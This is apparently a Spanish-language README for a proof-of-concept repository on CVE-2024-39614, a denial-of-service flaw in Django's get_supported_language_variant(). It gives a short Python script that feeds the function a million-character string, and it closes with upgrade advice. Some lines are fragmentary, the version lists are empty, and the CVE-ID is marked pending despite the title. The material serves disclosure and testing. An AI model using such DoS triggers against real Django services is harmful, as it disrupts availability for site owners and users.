
Prueba de concepto para CVE-2024-39614, una vulnerabilidad de denegación de servicio en Django. Demuestra agotamiento de recursos mediante cadenas largas en get_supported_language_variant(), afectando a Django antes de 5.0.7 y 4.2.14.
Este repositorio contiene un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de denegación de servicio (DoS) en Django versiones 5.0 anteriores a 5.0.7 y 4.2 anteriores a 4.2.14. La vulnerabilidad radica en la función get_supported_language_variant(), la cual es susceptible a un potencial ataque DoS al manejar cadenas muy largas que contienen caracteres específicos.
CVE-ID: (Pendiente)
Resumen:
La función get_supported_language_variant() en Django versiones 5.0 anteriores a 5.0.7 y 4.2 anteriores a 4.2.14 es vulnerable a un ataque de denegación de servicio. Esta función puede ser explotada enviando cadenas muy largas que contienen caracteres específicos, lo que podría llevar a un agotamiento de recursos y, consecuentemente, a una condición de denegación de servicio.
Versiones Afectadas:
Versiones Corregidas:
pip install django)Este script demuestra cómo un atacante puede explotar la vulnerabilidad enviando una cadena muy larga a la función get_supported_language_variant().
Guarde el siguiente script como dos_poc.py y ejecútelo.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() llama a get_supported_language_variant() con la cadena muy larga para probar la vulnerabilidad.Para mitigar esta vulnerabilidad, actualice a las versiones corregidas de Django:
Siga las instrucciones oficiales de actualización de Django para actualizar su instalación de Django a la versión segura más reciente.
Manteniendo su software actualizado y siguiendo las mejores prácticas de seguridad, puede prevenir vulnerabilidades como este problema de DoS en Django.